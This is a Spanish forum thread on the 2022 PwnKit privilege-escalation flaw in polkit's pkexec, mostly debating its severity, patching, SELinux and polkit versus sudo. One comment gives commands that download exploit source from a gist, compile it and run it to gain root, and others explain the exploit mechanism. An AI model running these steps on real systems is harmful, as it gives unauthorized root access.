Un grave fallo en Linux de hace 12 años permite ser root en cualquier distro

Este fallo está presente en una herramienta del sistema llamada Polkit (previamente llamada PolicyKit), que da a los atacantes permisos de root en ordenadores que tengan cualquier distro de Linux.

[#6 ailian]

La vulnerabilidad requiere acceso local con autenticación a un dispositivo, y no se puede explotar de manera remota sin esa autenticación.

Vamos, que no es tampoco para alarmarse.

[#8 Ovlak]

#6 Sólo si aparece Tom Cruise suspendido de un cable.

[#23 meneandro]

#19 Polkit no es como sudo. Polkit es una definición de políticas de interoperabilidad entre procesos con diferentes grados de permisos entre sí y por lo tanto su "scope" es más amplio.

Sudo define cambios de perfiles de usuario para la ejecución puntual de ejecutables concretos (aunque se utiliza mal y se usa como directamente como "su"... ¿su y sudo son equivalentes entonces? la respuesta también es no).

Aunque en cuanto a funcionamiento podrían parecer similares, son herramientas muy distintas. Una está dedicada a gestión de procesos e intercomunicación y gestión de permisos y otra a usuarios y permisos, contextos diferentes que desde cierto punto de vista podrían solaparse.

Polkit está instalado por defecto porque es una herramienta que venía a solucionar un problema de fragmentación entre la forma de trabajar de distintas distros de linux en un cierto nivel y a poner la fundación para poder desarrollar aplicaciones que usaran esas funcionalidades y que funcionaran de manera estándar en todas las distros de linux.

De hecho, cuando tú haces "systemctl restart serviciodeloscojones", si no tienes privilegios no te canta error, te pide que introduzcas las credenciales del usuario que gestiona el servicio y evita que tengas que hacer un "sudo systemctl restart serviciodeloscojones" (donde tendrías que tener configurado en el fichero del sudo qué usuario suplantas y con qué usuario permites suplantar, en otro caso no podrías). Esto es así porque lo gestiona polkit al vuelo, ve que hay un proceso que quiere lanzar otro que tiene unas políticas diferentes y gestiona la petición (o la deniega, según cómo estén configuradas dichas políticas). No sé si ha quedado clara la sutíl diferencia entre ambos y cómo resuelve cada cosa el meollo.

La vulnerabilidad depende de cómo esté configuradas ciertas políticas y permite llevarlas a cabo incorrectamente (del mismo modo que si estuviera configurada de otro modo, la vulnerabilidad no afectaría y no habría problema de seguridad -que no quita que el problema no exista y tenga que solucionarse, sólo remarco que afecta dependiendo de la configuración y que por lo tanto, no todos los sistemas que tienen la vulnerabilidad son vulnerables, valga la rebuznancia-).

[#47 SalsaDeTomate]

#16 Que no hombre, que hay un duende mirando a ver si estás delante del pc o no

[#33 alehopio]

#0 Ya arreglada... es lo que tiene el open source que conocida una vulnerabilidad es parcheada casi de inmediado...

por ejemplo en UBUNTU
https://ubuntu.com/security/notices/USN-5252-2

#31 Los malandrines que lo conocieran se callaron para aprovecharlo, como en cualquier otro software.

[#24 Dcz3]

#4 la vulnerabilidad está parcheada desde junio de 2021.

[#28 pip]

#2 el software tiene bugs, eso es así. Y bugs que dan acceso root ha habido cientos si no miles, en todos los sistemas operativos. Y seguirá habiendo.
Es bastante normal en realidad.

[#14 meneandro]

A ver, explico un poco de qué va esto:

Polkit es una herramienta que define políticas de acceso y permisos a procesos que corren en el sistema (entre otras cosas, define políticas de comunicación entre procesos privilegiados y no privilegiados para que puedan intercambiar recursos de manera segura). Si se configura mal, da permisos incorrectos a procesos incorrectos.

Y como dice #6, el contexto necesario para explotar esa vulnerabilidad es muy concreto y restringido.

[#1 Waves]

Justo ayer vi esos paquetes recibiendo actualizaciones.

[#2 Desactivado]

Seguro que si preguntas en un foro de Linux la culpa es del usuario.

[#9 Desactivado]

Parcheado 25/1/2022 en Archlinux y 26/1/2022 en Manjaro.

[#20 meneandro]

#15 Infravalorando no, poniendo en su justo punto. Lo grave es más lo que se ha tardado en descubrir que su potencial explotabilidad (que depende de que hagas tonterías, no funciona sin colaboración tuya).

Un navegador cualquiera es más peligroso en general que esta vulnerabilidad (que ya ha sido parcheada, por cierto, con tener tu ordenador actualizado ya estás protegido), tanto porque es más fácil "hacer tonterías" como por el número de potenciales puntos de fallo.

[#5 gale]

¿En cualquier distro pecador?

[#27 Dcz3]

#25 https://www.bleepingcomputer.com/news/security/linux-system-service-bug-lets-you-get-root-on-most-modern-distros/

[#13 ailian]

#12 Acceso local.

[#15 analphabet]

#14 #6 Estáis infravalorando esta vulnerabilidad. El hecho de que no sea explotable remotamente sin autenticación no quiere decir que no sea muy peligrosa.

Un ejemplo de como aprovechar esta vulnerabilidad y de por que sí es importante: Encuentras un servidor con una aplicación que resulta que es vulnerable a, por ejemplo, la vulnerabilidad de log4j de hace poquito. Sin embargo el proceso java corre bajo un usuario con pocos privilegios. Gracias a esta nueva vulnerabilidad se podría ganar acceso de root en el sistema.

Hacer LPE es un paso más dentro del hacking/pentesting, entiendo que gente que no está familiarizada con el tema considere que esto es poco relevante o muy concreto, pero en realidad es una forma de ganar control total del sistema una vez que has conseguido vulnerar alguna parte del sistema que permita ejecución de comandos.

[#30 Kichito]

#5 A distro y sinistro.

[#41 shake-it]

#27 Muchas gracias. Noticia ANTIGUA....

[#76 meloc]

#27 Creo que no es la misma:
La de Junio
https://access.redhat.com/security/cve/CVE-2021-3560

La de la noticia
https://access.redhat.com/security/cve/CVE-2021-4034

[#96 Dcz3]

#84 cierto, lo estaba revisando y llevas razón
gracias

[#100 Dcz3]

#76 gracias lo he comentado en el #84
Están relacionadas pero no es la misma
https://isc.sans.edu/diary/28272
Gracias

[#16 el-brujo]

#13 SSH = acceso local

[#45 Desactivado]

#3 Y te dirá que gracias a un ejército de millones de ojos vigilando continuamente el código y lanzando parches, un grave problema de seguridad será resuelto rápidamente en como mucho 12 años.

[#3 Vodker]

#2 y de Bill Gates.

[#71 sk4os]

#13 Acceso local se refiere a que tengas usuario en la máquina. No que estés delante de ella físicamente. 

[#18 el-brujo]

#15 Cierto, ya que si consigues una shell con usuario "httpd", con polkit ya eres root al momento
Es una vulnerabilidad muy grave (escalada de privilegios) local, menos mal, porque si llega a ser remota entonces sería la peor de la historia.......

[#46 pax0r]

#24 he probado el xpl en una kali reciente y funciona..

[#58 Desactivado]

Ya están los linuxeros fastidiando los backdoors de la NSA

No es un bug es una feature

[#11 ailian]

#10 ¿Con acceso local al servidor?

[#26 AMDK6III]

#8 o mi mujer .. que es peor

[#7 analphabet]

Explicación que dan en otros medios:

The short version, according to Qualys, is: "If our PATH is "PATH=name=.", and if the directory "name=." exists and contains an executable file named "value", then a pointer to the string "name=./value" is written out-of-bounds to envp[0]."

[#84 pert0]

#41 dejo por aquí que eso que te cuentan aparentemente no es cierto para esa vulnerabilidad. Fíjate que lo que te enlazan es CVE-2021-3560

y lo que se está parcheando ahora es CVE-2021-4034

Vulnerability Disclosure Timeline
2021-11-18: Advisory sent to secalert@redhat.
2022-01-11: Advisory and patch sent to distros@openwall.
2022-01-25: Coordinated Release Date (5:00 PM UTC).

Más: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

[#75 DRAG0NER0]

#60 Ya te arreglo tu post

[#50 chavi]

#11 Una vez que te conectas ya tienes acceso local

[#56 Razhan]

#23 creo que se refiere a que gracias a polkit en la práctica es como si todos los usuarios pudieran usar sudo en la máquina

[#57 meneandro]

#54 https://mundowin.com/edge-recibe-una-solucion-para-escalar-la-vulnerabilidad-de-privilegios/
https://www.welivesecurity.com/la-es/2015/06/23/actualizacion-de-chrome-serios-bugs/
https://hackwise.mx/vulnerabilidad-de-google-chrome-permite-escalado-de-privilegios/
https://www.faq-mac.com/2017/03/cansecwest-una-vulnerabilidad-de-safari-otra-macos/
...

¿sigo? creo que ahí están todos los navegadores principales, podría buscar más.

[#80 Desactivado]

#2 Teniendo en cuenta que debes tener acceso local con uan cuenta de USUARIO local, pues si, la culpa es del usuario

[#32 meneandro]

#21 Me refiero a que hay potencialmente tantas posibilidades o más de conseguir escalar privilegios con un navegador que con esta vulnerabilidad. Aquí para explotar la vulnerabilidad se trata de tener un usuario y poder ejecutar un software; si el atacante ya tiene un usuario o acceso capaz de ejecutar ese software, evidentemente ya lo tiene hecho, pero se supone que no debería tener ni lo uno ni lo otro. En un navegador, simplemente navegando pueden conseguir hacer que ejecutes ese software (tampoco es algo sencillo en principio, pero para nada descartable).

[#61 meneandro]

#40 Es un contrasentido tener un ejecutable en el sistema de un servicio que no usas.

"El exploit, el día que lo saquen, veremos que lo que hace es setear el path de una manera concreta y hacer una llamada a pkexec injectando algún tipo de payload que provocará que ese ejecutable a su vez ejecute otro comando (ej. bash) con permisos de root."

Tendrás que ejecutar un software que manipule tu path antes de llamar a pkexec que haga lo que tenga que hacer, antes que nada. ¿Tú vas ejecutando todos los scripts que te pasa cualquier fulano en linux?

"la vulnerabilidad funciona en sistemas que tengan la config por defecto,"

Muy bien, ¿quién coño deja la configuración por defecto de algo sino el que no conoce como funciona?. No los mantenedores de las distros, espero, que esos se supone que tienen conocimientos y que adaptarán la configuración a las necesidades de cada distro; por ejemplo, sshd no debería permitir por defecto loguearse de manera remota al usuario root, es algo que es reconocido como fuente de problemas de seguridad y se desaconseja vivamente, y sin embargo, en la configuración por defecto viene en general habilitado en todos lados. Tampoco debería usarse sudo como remedo de su y activado para ejecutar por defecto todos los comandos como root para cualquier usuario que se diga administrador, está desaconsejado universalmente y es una fuente de problemas de seguridad, y sin embargo es común verlo en muchas distros. Si que es una cagada por parte de los creadores del software porque la configuración por defecto no debería ser peligrosa ni fuente de problemas de seguridad, pero también hay más responsables por medio, administradores de sistemas incluídos.

A lo que voy, muchas veces los problemas de seguridad vienen de malas prácticas asentadas con el tiempo, no porque haya problemas en las herramientas en si mismas. Las malas configuraciones y los malos casos de uso tienen gran parte de culpa.

[#64 sk4os]

#6 Elevación de privilegios en cualquier máquina Linux y no es para alarmarse? Ojalá tuvieras razón, pero no. Es jodida. Probado en una Debian y en una Red Hat, funciona en ambas, son 3 wgets a githut, un make y ejecutar un ejecutable. Más sencillo imposible.  

[#68 Desactivado]

#10 Los servidores no usan policykit por lo general el cual es más para gestionar servicios bajo X.

[#4 Desactivado]

#1 Es reciente.

[#66 Desactivado]

#10 Pues imagina por qué apenas ponen servidores con windows.

[#113 Desactivado]

#6 Lo de siempre,el problema está entre el teclado y el asiento.Noticia asustaviejas.

[#21 analphabet]

#20 En teoría y a falta de ver el CVE y el PoC no hace falta hacer tonterías, simplemente tener una distro que incluya polkit con todo por defecto y que no haya sido parcheado.

Y el ejemplo del navegador no lo veo porque incluso si ganaras control remoto del navegador tendrías privilegios del usuario que ejecuta el navegador, que no tiene porque ser admin, necesitarías combinarlo con una escalada de privilegios, que precisamente es lo que es esta vulnerabilidad del polkit.

[#22 el-brujo]

#20 eing? es simplemente pasar un argumento en blanco a polkit para ser de ser usuario normal a root, fácil, rápido y grave.

Al revés, un navegador es 1 millón de veces más seguro que esta vulnerabilidad Sería como una vulnerabilidad en el navegador sin ninguna intervención del usuario pudieras tener permisos de administrador de windows y lanzar comandos (nada peligroso )

LPE (elevación local de privilegios)

Cierto, no lo han descubierto antes, porque nadie lo había mirado bien en 12 años.

Y el problema es cuántos servidores o sistemas linux hay sin actualizar....... muchos

[#60 Desactivado]

No alarmarse, para realizar el hackeo es necesario hacer una interfaz gráfica en visual Basic y eso no está al alcance de cualquiera.

[#86 Razhan]

#59 "las probabilidades de fallo y de la gravedad de un fallo entre una y otra se decantan sobre la que más cosas hace, porque en más cosas puede fallar y afectar a todo el conjunto."

Las probabilidades de fallo si, es el concepto de attack surface. a mayor complejidad del software, mas posibilidades hay de que existan fallos. Pero la gravedad no viene determinado por la complejidad del software, sino por lo que se puede lograr con el. Es lo que se mide como algo de CVSS

"Se supone que tú eres un usuario autorizado en el sistema. Si ejecutas algo dudoso y la configuración del sistema te deja, es problema tuyo por un lado y del administrador de dicho sistema por otro."

Problema mio? Por que? Yo estoy autorizado a hacer operacion X en el sistema, y ahora puedo hacer operacion Y.

"Pero no tienen por qué darse "de manera universal" sino si se hacen ciertas cosas mal, y eso es lo que trato de explicar"

Pero eso no es verdad. Mi servidor de casa (en el que un par de colegas tienen acceso ssh pero no root) era vulnerable al ataque. He hecho yo como administrador algo mal? No

"El santo grial del hacking es la ingeniería social. Sólo con eso puedes entrar en cualquier lado y hacer cualquier cosa."

Ingenieria social es una herramienta. Como una vulnerabilidad. El objetivo sigue siendo ejecucion de codigo remotamente como administrador. Por ejemplo, alguien puede usar ingenieria social para convencerme a mi, alguien con acceso de usuario para coger mis credenciales y luego usar esta vulnerabilidad para lograr el acceso de administrador.

[#88 AMDK6III]

#78

la última vez que se saltó la seguridad de mi portátil (un Debian), me emborrachó, me hizo el amor, y mientras estaba yo tirado en la cama exhausto y medio dormido, entró en mi portátil.

seguimos casados, por lo que pueden concluir que no encontró nada (por pura suerte)...porque me desperté y no le dio tiempo

[#107 Razhan]

#106 En mi curro tenemos varios millones de servidores. No creo que ninguno tenga un navegador. Pero seguro que muchos tendran polkit

En Windows, una vulnerabilidad en el navegador es grave, porque es lo que la mayor parte de gente va a tener. En linux, una LPE en polkit va a ser mas grave, porque es lo que la gente va a tener. Si, hay gente que tiene navegadores en linux, y si, hay gente que tiene permisos bien definidos en windows, pero cada sistema tiene un publico objetivo

[#116 Razhan]

#111 Creeme, no olvido lo que necesitas para llevar a cabo este ataque, evaluar vulnerabilidades es una parte importante de mi trabajo, Un usuario no es necesariamente una persona. Un usuario puede ser una cuenta para un servidor web, o jenkins o similar. Y muchisimos usuarios (interactivos o no) no necesitan un entorno grafico.

Acabamos de tener el RCE mas importante de la decada hace poco mas de un mes. Ese ataque combinado con este tiene implicaciones desastrosas.

Lo dicho, esto es un LPE, una categoria bien conocida. El primer aviso que recibi era "There's an LPE in polkit", realmente no hace falta mas informacion para que la gente que trabaje en esto entienda exactamente de que estamos hablando y su implicacion.

[#38 jmboris]

#5 Tiene que ser de la pradera , sino no hay problema.

[#40 analphabet]

#29 Pero si pkexec tiene permisos de setuid por defecto, en todas las distros en las que está instalado porque los necesita para funcionar.

Y no es contrasentido porque la vulnerabilidad está en un ejecutable (pkexec). El exploit, el día que lo saquen, veremos que lo que hace es setear el path de una manera concreta y hacer una llamada a pkexec injectando algún tipo de payload que provocará que ese ejecutable a su vez ejecute otro comando (ej. bash) con permisos de root.

Y lo que dijiste antes de las configuraciones, en el video de qualys dicen y lo pone en texto también que la vulnerabilidad funciona en sistemas que tengan la config por defecto, lo cual puede ser excluyente o no, de sistemas en los que se haga una configuración personalizada, pero eso no se sabe por ahora.

[#83 analphabet]

#61 Ya ha salido el exploit. Lo importante aquí es que el ejecutable pkexec tiene un fallo que permite que seteando ciertas variables de entorno se consigue reemplazar una llamada a gconv_init() por una propia que definamos, y dentro de esa llamada, dado que el ejecutable pkexec es suid podemos darnos el uid que queramos (que será el 0, root) y acto seguido ejecutar cualquier cosa (una shell).

Todo eso lo hace el propio programa, no hay que andar configurando paths, ya lo hace él, y aunque podría usarse como dices dentro de un RAT para elevar privilegios con gente que ejecute cualquier cosa, el verdadero valor es para atacantes que hayan ganado acceso de usuario y quieran escalar a root.

Visto el exploit me atrevería a decir que la configuración del polkit es mayormente irrelevante, da igual que se tengan hechas configuraciones de ciertas aplicaciones o esté todo por defecto.

Y lo que dices del ssh, eso cambió hace mucho en las distros importantes:
https://manpages.debian.org/buster/openssh-server/sshd_config.5.en.html
Obedece un poco a una práctica que es equilibrar la seguridad y la usabilidad.
Pero igualmente, ese tipo de configuraciones aunque puedan ser problemáticas y no se ajusten a lo deseable, en ningún caso van a ser vulnerabilidades de por sí.

[#10 tpm1]

#6 ¿Qué cualquier usuario pueda obtener permisos de root no te parece para alarmarse? ¿Sabes la de gente que se conecta a servidores para trabajar día a día?

[#19 el-brujo]

#14
>A ver, explico un poco de qué va esto:

Mejor explicado así: polkit es como sudo, y ya.

> para explotar esa vulnerabilidad es muy concreto y restringido.

polkit está instalado por defecto en la mayoría de las distribuciones, por no decir casi todas.

[#25 Desactivado]

#24 fuente de lo que dices?

[#36 LokyAstur]

#13 Ese acceso local al que se refiere no es que estés delante del servidor. Se puede acceder remotamente con acceso local.

[#79 Desactivado]

#28 En Windows recientemente bastaba con conectar un periférico razer

[#31 macchostes]

12 añazos con el fallo por ahí sin que nadie lo arregle, que desastre.

[#34 Desactivado]

#28 Din din din

[#35 box3d]

#6 si me vale para rootear android... Es bastante.

[#42 ailian]

#33 Me acaba de llegar la actualización para mi manjaro, asi que arch y derivadas también parcheadas.

[#69 Desactivado]

#19 No en servidores.

[#70 Desactivado]

#40 Void Linux no necesita Policykit para lo general.

[#72 Desactivado]

#44 No me ha funcionado en Slackware -current. Y no he actualizado pkexec todavía.

[#73 Desactivado]

#61 OpenBSD en eso hace las cosas bien.

[#97 xyria]

#4 Tiene 12 años de antiguedad, según el artículo.

[#101 xyria]

No me he enterado de nada, pero por si las moscas voy a encender linux y a ver si se actualiza. Meneo, de todas formas.

[#102 Desactivado]

#98 No, eso lo he corregido. Lo que no tira es el exploit en si en Slackware-current (la 15 sale hoy creo).

[#103 Desactivado]

#64 Cualquiera, no.

[#29 meneandro]

#22 "eing? es simplemente pasar un argumento en blanco a polkit para ser de ser usuario normal a root, fácil, rápido y grave."

Del artículo: "donde cualquier persona que tenga un acceso por mínimo que sea a una máquina puede ejecutar código malicioso o insertar malware más dañino con control total del sistema.", "y puede explotarse incluso si Polkit no está ejecutándose", "Es recomendable actualizar lo antes posible para evitar verse afectado por el ataque. En el caso de no poder parchear de manera inmediata, se puede utilizar el comando chmod 0755 /usr/bin/pkexec para eliminar la parte de SUID de pkexec."

Pues qué quieres que te diga, parece más una mala configuración del sistema (un nuevo problema por bit SUID en un binario), parece que es explotable incluso si polkit no está funcionando en el sistema... ¿no es eso un poco un contrasentido?

Recapitulemos. Lo primero es que tienes que tener un acceso al sistema. Lo segundo, poder tener permisos para ejecutar un código malicioso. Hasta ahí, creo que es comparable a usar cualquier navegador en cuanto a peligrosidad (con la diferencia de que en un navegador se te puede colar código malicioso y ejecutarse sin casi tu intervención para nada). La diferencia entre una herramienta que sólo hace una cosa, donde ya está delimitado cuál es el peligro y ya hay una solución y un navegador que hace mil y por lo tanto tiene mil puntos posibles de vulnerabilidad y donde es tan complicado auditar que debe haber muchos agujeros desconocidos, creo que está clara. Los navegadores son mucho más peligrosos.

[#43 Desactivado]

C/C++ nos acabarán matando a todos, al tiempo... Pero los que programan en él podrán presumir de muy machos hasta entonces.

"El problema es que el elemento que se encarga de controlar eso ha tenido una vulnerabilidad de corrupción de memoria desde 2009 que permite a alguien con permisos limitados escalar privilegios hasta alcanzar permisos de root."

[#44 gotxi85]

Esta parcheada ya en casi todos los sistemas, pero os dejo aquí la POC para que lo probéis a ver si sois vulnerables:

$ curl https://gist.githubusercontent.com/darrenmartyn/c0902e3b7f01646a3d1de4ced9eb9e00/raw/fc7f4139ca61efd8f4c5ca576283a7f3dd53c17f/pkexec.c --output pkexec.c
$ gcc -o payload.so -fPIC -shared pkexec.c -lc -ldl Wl,e,lol
$ whoami
$ ./payload.so
$ whoami

En mi caso no lo soy con Ubuntu, sale el error del comando pkexec.

[#59 meneandro]

#53 A ver, digo que entre una herramienta que hace una cosa (y en un caso puntual, falla en hacerla bien) y una herramienta que hace mil cosas, las probabilidades de fallo y de la gravedad de un fallo entre una y otra se decantan sobre la que más cosas hace, porque en más cosas puede fallar y afectar a todo el conjunto.

Se supone que tú eres un usuario autorizado en el sistema. Si ejecutas algo dudoso y la configuración del sistema te deja, es problema tuyo por un lado y del administrador de dicho sistema por otro. Cuando hablamos de vulnerabilidad hay dos partes: el sistema deja hacer una cosa que no debería hacer (eso es obvio) y luego está el contexto donde pasa eso. Si el contexto está limitado, aunque la vulnerabilidad sea chunga, puede ser que no afecte a todo el mundo.

Aquí hablamos de una vulnerabilidad, que será muy grave o muy poco grave dependiendo de la facilidad para explotarla y la cantidad de gente a la que podría afectar. Está claro que si se dan las condiciones esta vulnerabilidad es muy grave. Pero no tienen por qué darse "de manera universal" sino si se hacen ciertas cosas mal, y eso es lo que trato de explicar. El propio artículo indica que en otras arquitecturas también está presente, pero su impacto se minimiza porque hay otras protecciones por medio que impiden explotarla.

El santo grial del hacking es la ingeniería social. Sólo con eso puedes entrar en cualquier lado y hacer cualquier cosa.

[#65 Nova6K0]

#6 Salvo que se juntase con otro ataque remoto, que permitiese dicho acceso local, que haberlos hailos como las meigas.

Saludos.

[#81 meneandro]

#73 Las hace diferentes. En algunas cosas mejor, en otras peor. Sin embargo, teniendo en cuenta la mano de obra que tiene a su disposición, si te concedo que las hace "más eficientemente".

[#82 llorencs]

#17 Pero alguien con acceso ssh suele ser un número reducido de personas y normalmente técnicos.

[#85 meneandro]

#83 Muy bien, sigues teniendo que poder usar un usuario de la máquina y pedirle que ejecute algo (que setee lo que haya que setear y ejecute lo que haya que ejecutar).

¿Sabías que además tienes que sortear las políticas de seguridad de selinux?

https://www.omarine.org/blog/selinux-polkit-authorization-policy-and-security-policy/

"Linux root does not always become SELinux root and it does not if the root's process did not reach its security context.

We run the pkexec command as an administrator, pkexec allows the authorized user to execute a program as another user. If you run the command without arguments it will run /bin/bash as the root user. But the process does not transition to the root's process context but retains the administrator's process context. Linux user is root while SELinux user is staff_u"

Este es precisamente el caso de la vulnerabilidad, si selinux está bien configurado no debería haber ningún problema:

"The SELinux user staff_u is defined in policy as a unprivileged user. SELinux prevents unprivileged users from doing administration tasks without transitioning to a different role. "

"Visto el exploit me atrevería a decir que la configuración del polkit es mayormente irrelevante, da igual que se tengan hechas configuraciones de ciertas aplicaciones o esté todo por defecto."

Toda la vulnerabilidad se basa en que si no le pasas argumentos, toma una decisión insegura. Yo creo que si no le pasas argumentos o están vacíos, es un problema de configuración claro (aparte de una cagada por no controlar los argumentos de entrada, que es lo más básico que hay en cualquier software que recibe entradas del exterior, son dos problemas que se juntan).

" Pero igualmente, ese tipo de configuraciones aunque puedan ser problemáticas y no se ajusten a lo deseable, en ningún caso van a ser vulnerabilidades de por sí. "

Basta que cualquiera acceda a un usuario que esté en sudoers y tendrá el control de la máquina "legalmente"... no es una vulnerabilidad si nos atenemos solo a la definición de fallo en el sistema, es una característica que no funciona mal, pero si tú dices que eso no es un problema de seguridad... hace a un sistema vulnerable, si no quieres llamarlo vulnerabilidad, allá tú.

[#90 meneandro]

#86 "Pero la gravedad no viene determinado por la complejidad del software, sino por lo que se puede lograr con el."

Ajá. Por eso he comparado dos casos donde:
a) se necesita un usuario
b) se necesita ejecutar un script o similar para producir la escalada de privilegios
Y me quedo con el caso que tiene una superficie de ataque mayor como el que más amenaza potencial tiene.

"Problema mio? Por que? "

¿Ejecutas cualquier script que cualquiera te pasa en el sistema? este no es un fallo que se produzca accidentalmente, es un fallo que tiene que provocarse para poder explotarlo.

"Pero eso no es verdad. Mi servidor de casa (en el que un par de colegas tienen acceso ssh pero no root) era vulnerable al ataque. He hecho yo como administrador algo mal? No"

¿Has usado tu servidor de manera que pueda aprovecharse esa vulnerabilidad? porque la vulnerabilidad no se explota sola, alguien tiene que conseguir un usuario en tu sistema y ejecutar alguna cosa. Si no se dan esas condiciones...

"Ingenieria social es una herramienta. Como una vulnerabilidad. "

La ingeniería social es la herramienta de herramientas. No necesitas ni tener conocimientos, ni aprovechar errores de software, ni si me apuras, tener conocimientos avanzados de informática. Basta saber que fulanito apunta su contraseña en el post-it o en la libreta, que puedes convencer a alguien para que haga algo, etc. pues con ingeniería social ni siquiera hace falta que exista nada vulnerable. La ingeniería social te podría permitir acceder a un sistema "legalmente" y con todos los permisos en regla. Por eso es el santo grial del hacking. Todo lo demás son trucos y artificios necesarios para conseguir aquello que con tu nivel de ingeniería social no puedes (a cambio de muchas veces dejar huellas o pistas de tu intrusión).

[#91 meneandro]

#89 Al parecer, es el comportamiento por defecto. Si lees el artículo que te pasé, verás que precisamente lo que hacen es cambiar ese comportamiento para poder permitir hacer otras cosas que en principio no dejaría porque requieren más permisos. De hecho, el artículo me hace pensar si el problema actual de seguridad no es más algo que ya se conocía de hace tiempo y que se daba como comportamiento normal (y que por eso selinux con las reglas que tiene lo previene). Pero puedo estar equivocado, igual es una configuración específica. Se puede comprobar hasta dónde escala tu usuario en un contexto de selinux activo igualmente, en el artículo pone el comando que hay que lanzar.

Igualmente, si se ha montado tanto revuelo con esto, mejor no pillarse los dedos y actualizar que es lo único 100% seguro y eficaz.

Sobre la usabilidad, siempre puede ser opcional y venir deshabilitado por defecto, ya el que quiera que se lo monte como quiera (como todos los tutoriales que lo primero que te nombran es que deshabilites selinux porque nadie sabe configurarlo adecuadamente y/o explicarle a un usuario novato cómo hacerlo y da mucho por saco en cuanto intentas instalar y probar algún servidor de lo que sea). O unos mínimos de seguridad: permitir las tareas de administración básicas y vetar las peligrosas (editar ciertas configuraciones, acceder a ciertos archivos, etc. que sudo permite un control muy fino de lo que se puede y no se puede hacer suplantando otros usuarios).

[#104 meneandro]

#92 " ejecuto un exploit para lograr un nivel de acceso que el administrador del sistema no me ha concedido."
Muy bien, has pasado de ser un usuario normal a ser un delincuente por atentar contra la institución que ha confiado en ti. Has tenido que hacer cosas para provocar otras cosas. No ha sido algo que ha pasado fortuítamente, has hecho cosas para que pase. Aquí de lo que se trata es que normalmente la gente no es como tú y no hace esas cosas.

"Hay gente que tiene acceso a mi sistema. No les di acceso de administrador, solo acceso limitado al sistema. Pero ahora, por culpa de esto, en principio ya tendrian permiso de administrador. "

Pero es que hace falta algo más que permisos de acceso o de administrador. Y tu sistema puede estar en modo kiosko o muy limitado (con quitar los permisos de ejecución en su carpeta de usuario, ya es inofensivo).

"No es algo que configure mal"

Pero es algo que puedes combatir y aislar sin demasiado problema.

"Pero gracias a esto, alguien que utilice ingenieria social en fulanito ahora tiene root access. "

Es tarea de un administrador de sistema que eso no pase ¿no?. Por eso los usuarios tienen distintos niveles de privilegios y accesos a los recursos. ¿Acaso todos tus usuarios tienen que poder ejecutar cosas propias en sus carpetas? ¿se pasan el día ejecutando cosas? ¿qué tipo de usuarios tienes? ¿ofimática? ¿ingenieros que usan las herramientas del sistema? ¿programadores que necesitan compilar?. Es que te pones en el peor de los casos, lo cual es lógico y tiene sentido, pero usuarios hay de muchos tipos y no todos te exponen a riesgo con esta vulnerabilidad, lo normal es que su rutina de trabajo no conlleve nada que pueda poner en peligro el sistema. No tanto como usar un navegador, al menos.

Igualmente, un experto en ingeniería social puede sonsacar directamente la pass de root ¿para qué andarse con zarandajas y medias tintas?

[#106 meneandro]

#105 Pero es que yo no he dicho que no sea grave. De hecho, es muy grave. Sólo acoto que dentro de su gravedad, explotarlo requiere un cierto contexto que en general no se va a dar a poco que se tenga un poco de cuidado, y que es más fácil caer en otro tipo de problemas de seguridad más mundanos.

No es que afecte a muchas, es que afecta a casi todas. Pero pese a todo no es tan explotable como por ejemplo, un zero day en un navegador corriendo nativamente, y ocurre con mucha frecuencia y hay muchas distros que tienen navegadores con vulnerabilidades críticas por ahí y no veo que haya gente por ahí corriendo y echándose las manos a la cabeza (y deberían hacerlo).

[#110 meneandro]

#108 A ver, una escalada de privilegios consiste en obtener privilegios superiores a los que tu usuario actual tiene. Por supuesto que no estás ejecutando un navegador como administrador, sino como usuario.

Del primer enlace:
"Microsoft se toma muy en serio la seguridad y la privacidad de Edge, lo cual es necesario para tener la oportunidad de alcanzar los niveles de Chrome y Firefox. Con ese fin, el gigante tecnológico envió una solución para una escalada de vulnerabilidad de privilegios en su navegador basado en Chromium."
"Por lo tanto, si un atacante lograra aprovechar la escapatoria, podría mover archivos a ubicaciones de memoria arbitrarias. Hacer eso también podría dar al pirata informático mayores privilegios del sistema ."
"Por ejemplo, después de obtener ilegalmente privilegios elevados, podrían explotar una escapatoria de ejecución remota de código (RCE). A su vez, un ataque RCE podría permitirles robar datos, espiar o incluso realizar un ataque de denegación de servicio."

¿Windows? el problema está en el navegador, que te permite cosas que no debería.


Del segundo enlace:
"Mlynski demostró un ataque que explota una vulnerabilidad cross-origin en Mozilla Firefox para lograr una escalada de privilegios en el navegador en menos de un segundo. "
"“Se acercó a Mozilla Firefox y se lució a través de una vulnerabilidad cross-origin seguida de una escalada de privilegios en el navegador -todo dentro de 0,542 segundos. Esto le permitió ejecutar un fallo lógico para escalar a SYSTEM en Windows y llevarse a casa 30.000 USD por el bug de Firefox y un bono adicional de 25.000 por la escalada de privilegios”."

¿No había qué?



Del tercer enlace:
"Clement Lecigne, investigador de seguridad del Grupo de Análisis de Amenazas de Google descubrió una vulnerabilidad crítica en Google Chrome el mes pasado, que podría permitir a un atacante ejecutar código arbitrario y tomar completo control de la computadora de la víctima.

La vulnerabilidad CVE-2019-5786 afecta al navegador web en todos los sistemas operativos en que es soportado, incluyendo MacOS, Windows y Linux."

"Tras indagar un poco más en el tema, descubrimos que el método de explotación involucra usar una página web maliciosa especialmente creada para usar memoria previamente liberada por el API FileReader de Chrome, permitiendo así ejecutar código arbitrario fuera del “sandbox” de Google Chrome para tomar control del sistema, insertar malware, o activar una condición DoS (Denial of Service)."

La coletilla a la que te aferras es "estar bajo una cuenta de usuario con privilegios limitados reduce el potencial de un ataque de este tipo para dañar el sistema. Ésto es importante debido a que el fallo ya se ha explotado satisfactoriamente y varios usuarios han sido víctimas de este hack." y no implica que tengas que usar el navegador como root para que haya problemas de verdad (¿quién coño ejecuta un navegador como root?). Lo que dice es que dependiendo de cómo esté tu usuario, puede aprovechar otras cosas para seguir escalando, fíjate la parte donde dice que afecta a todos los SO y que permite tomar el completo control de la computadora... si puedes escapar del sandbox es que puedes acceder y controlar los recursos del sistema directamente, como si fueras el propio navegador y a partir de ahí... y además, dice que ya varios usuarios han sido víctimas del hack, o sea, no es una cosa teórica.



Del cuarto enlace:
